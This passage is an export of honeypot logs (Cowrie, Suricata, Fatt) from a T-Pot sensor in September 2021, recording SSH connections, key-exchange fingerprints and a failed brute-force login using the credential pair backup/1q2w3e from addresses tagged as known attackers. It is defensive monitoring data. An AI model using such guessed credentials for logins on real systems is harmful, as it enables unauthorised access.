"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 22410, "timestamp": "2021-09-20T12:15:58.179160", "@timestamp": "2021-09-20T12:15:58.179Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36553	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 15:15:58.362373+03	2021-09-20 15:30:02.422869+03	{"_id": "ugYiA3wBvYTbRNuEZ2Oo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 46.101.115.211:46828 (192.168.176.2:22) [session: dcbb570deb7c]", "session": "dcbb570deb7c", "@version": "1", "protocol": "ssh", "src_port": 46828, "dest_port": 22, "timestamp": "2021-09-20T12:15:58.362373Z", "@timestamp": "2021-09-20T12:15:58.362Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	DE
36554	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 15:15:58.408725+03	2021-09-20 15:30:02.424867+03	{"_id": "vQYiA3wBvYTbRNuEZ2Oo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "a1c3f93a17a9", "@version": "1", "timestamp": "2021-09-20T12:15:58.408725Z", "@timestamp": "2021-09-20T12:15:58.408Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	\N	ID
36555	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 15:15:58.642823+03	2021-09-20 15:30:02.426866+03	{"_id": "vgYiA3wBvYTbRNuEZ2Oo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.login.failed", "message": "login attempt [backup/1q2w3e] failed", "session": "dcbb570deb7c", "@version": "1", "password": "1q2w3e", "username": "backup", "timestamp": "2021-09-20T12:15:58.642823Z", "@timestamp": "2021-09-20T12:15:58.642Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	DE
36556	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 15:15:58.40029+03	2021-09-20 15:30:02.427867+03	{"_id": "wAYiA3wBvYTbRNuEZ2Oo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "dcbb570deb7c", "@version": "1", "timestamp": "2021-09-20T12:15:58.400290Z", "@timestamp": "2021-09-20T12:15:58.400Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	DE
36557	110.137.195.172	109.199.241.180	Suricata	2021-09-20 15:15:58.408028+03	2021-09-20 15:30:02.429869+03	{"_id": "wQYiA3wBvYTbRNuEaGOx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "proto": "TCP", "src_ip": "110.137.195.172", "dest_ip": "192.168.20.116", "flow_id": 1865817469576652, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 22410, "dest_port": 22, "timestamp": "2021-09-20T12:15:58.408028Z", "@timestamp": "2021-09-20T12:15:58.408Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	ID
36558	46.101.115.211	109.199.241.180	Fatt	2021-09-20 15:15:58.399716+03	2021-09-20 15:30:02.430868+03	{"_id": "xgYiA3wBvYTbRNuEaWO1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "46.101.115.211", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 46828, "dest_port": 22, "timestamp": "2021-09-20T12:15:58.399716", "@timestamp": "2021-09-20T12:15:58.399Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	DE
36559	107.0.200.227	109.199.241.180	Suricata	2021-09-20 15:15:48.949689+03	2021-09-20 15:30:02.431869+03	{"_id": "mQYiA3wBvYTbRNuEQWOd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:15:48.680713+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "107.0.200.227", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 396642301010697, "payload": "AAADzAYUZmCyjoBKqJ08oJi0lQvO9wAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 53276, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:15:48.949689Z", "@timestamp": "2021-09-20T12:15:48.949Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......f`...J..<..........(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	US
36560	107.0.200.227	109.199.241.180	Fatt	2021-09-20 15:15:48.949689+03	2021-09-20 15:30:02.432868+03	{"_id": "mgYiA3wBvYTbRNuEQmOg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "107.0.200.227", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 53276, "dest_port": 22, "timestamp": "2021-09-20T12:15:48.949689", "@timestamp": "2021-09-20T12:15:48.949Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	US
36561	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:15:48.817425+03	2021-09-20 15:30:02.434869+03	{"_id": "oAYiA3wBvYTbRNuEQmPn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "107.0.200.227", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53276, "timestamp": "2021-09-20T12:15:48.817425", "@timestamp": "2021-09-20T12:15:48.817Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36562	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 15:15:48.816724+03	2021-09-20 15:30:02.435868+03	{"_id": "ogYiA3wBvYTbRNuERGN6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "ba05e69b848f", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:15:48.816724Z", "@timestamp": "2021-09-20T12:15:48.816Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	US
36563	107.173.209.238	109.199.241.180	Fatt	2021-09-20 15:16:05.190227+03	2021-09-20 15:30:02.436868+03	{"_id": "0wYiA3wBvYTbRNuEgWNu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "107.173.209.238", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 47978, "dest_port": 22, "timestamp": "2021-09-20T12:16:05.190227", "@timestamp": "2021-09-20T12:16:05.190Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	US
